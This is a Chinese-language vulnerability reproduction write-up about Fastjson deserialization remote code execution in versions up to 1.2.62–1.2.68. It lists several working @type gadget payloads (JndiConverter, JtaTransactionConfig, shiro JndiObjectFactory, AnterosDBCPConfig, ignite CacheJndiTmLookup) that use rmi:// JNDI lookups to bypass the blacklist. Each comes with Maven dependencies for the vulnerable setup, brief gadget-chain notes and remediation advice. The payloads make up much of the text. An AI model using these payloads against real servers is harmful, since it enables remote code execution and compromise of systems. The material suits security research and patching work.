Fastjson <=1.2.62 遠程代碼執行-漏洞復現


影響范圍:

Fastjson<=1.2.62

需要開啟autotype

poc:

String text1 = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"rmi://127.0.0.1:1099/exploit\"}";

pom.xml:

    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.62</version>
    </dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

tips:這里需要另外導入jar包才能測試

該黑名單主要來自於jackson-CVE-2020-8840

https://nvd.nist.gov/vuln/detail/CVE-2020-8840

漏洞復現:

漏洞分析

 這里明顯存在jndi注入,但是toObjectImpl不滿足fastjson調用規則,因此查看其父類函數

 其父類中在toObject函數中調用了它,但是仍然不滿足調用條件,因此繼續溯源

 可以看到在setAsText函數中調用了toObject函數,並且set滿足調用規則,確定Astext屬性,因此payload即打

github環境:

https://github.com/Wfzsec/FastJson1.2.62-RCE

修復建議:

1.關了autotype,用白名單(推薦)

2.升級jdk(不太現實)

fastjson<1.2.67 黑名單繞過

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig

poc:

  String payload="{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"rmi://127.0.0.1:1099/tr1ple\"}}";

pom.xml

<dependency>
            <groupId>org.apache.ibatis</groupId>
            <artifactId>ibatis-sqlmap</artifactId>
            <version>2.3.4.726</version>
        </dependency>
        <dependency>
               <groupId>javax</groupId>
               <artifactId>javaee-api</artifactId>
               <version>8.0.1</version>
        </dependency>

漏洞分析:

如下圖所示setProperties反序列化將直接調用,那么在其中又直接調用initctx.lookup,明顯的jndi注入,那么只需要看一下utxname如何傳值即可,utxName是從props中取的,說明反序列化時prop必須存在且屬性userTransaction存在,所以只需要再@type反序列化Properties,為其寫入userTransaction和rmi鍵值對即可

fastjson<1.2.68 黑名單繞過

org.apache.shiro.jndi.JndiObjectFactory 

pom.xml:

        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
            <version>1.5.1</version>
        </dependency>

poc:

    String payload="{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\": \"rmi://127.0.0.1:1099/Exploit\"}";

 getInstance方法中存在可控的lookup方法,參數resourceName可通過下圖函數進行賦值

br.com.anteros.dbcp.AnterosDBCPConfig

poc:

String payload="{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\": \"rmi://127.0.0.1:1099/Exploit\"}";
String payload
="{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\": \"rmi://127.0.0.1:1099/Exploit\"}";

pom.xml

        <dependency>
            <groupId>br.com.anteros</groupId>
            <artifactId>Anteros-DBCP</artifactId>
            <version>1.0.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/com.codahale.metrics/metrics-healthchecks -->
        <dependency>
            <groupId>com.codahale.metrics</groupId>
            <artifactId>metrics-healthchecks</artifactId>
            <version>3.0.2</version>
        </dependency>

在此get方法中存在lookup方法,但參數看起來沒辦法直接通過set函數賦值,那么除了set賦值,另外一種就是在其他函數調用該函數進行傳值調用

 在下圖兩處都調用了該方法,那么入口的參數都是可控的,因此直接反序列化時傳入即可

 

 

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup

poc:

 String payload = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\",\"jndiNames\": \"rmi://127.0.0.1:1099/Exploit\"}";

pom.xml

        <dependency>
            <groupId>org.apache.ignite</groupId>
            <artifactId>ignite-jta</artifactId>
            <version>2.8.0</version>
        </dependency>

getTm存在lookup方法的調用,其來自jndiNames

setJndiNames為其賦值

 

 fastjson 反序列化類時必須有無參的構造方法,否則在checkautotype方法中將被fastjson判斷為接口或抽象類,最終拋出autoType is not support的異常。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM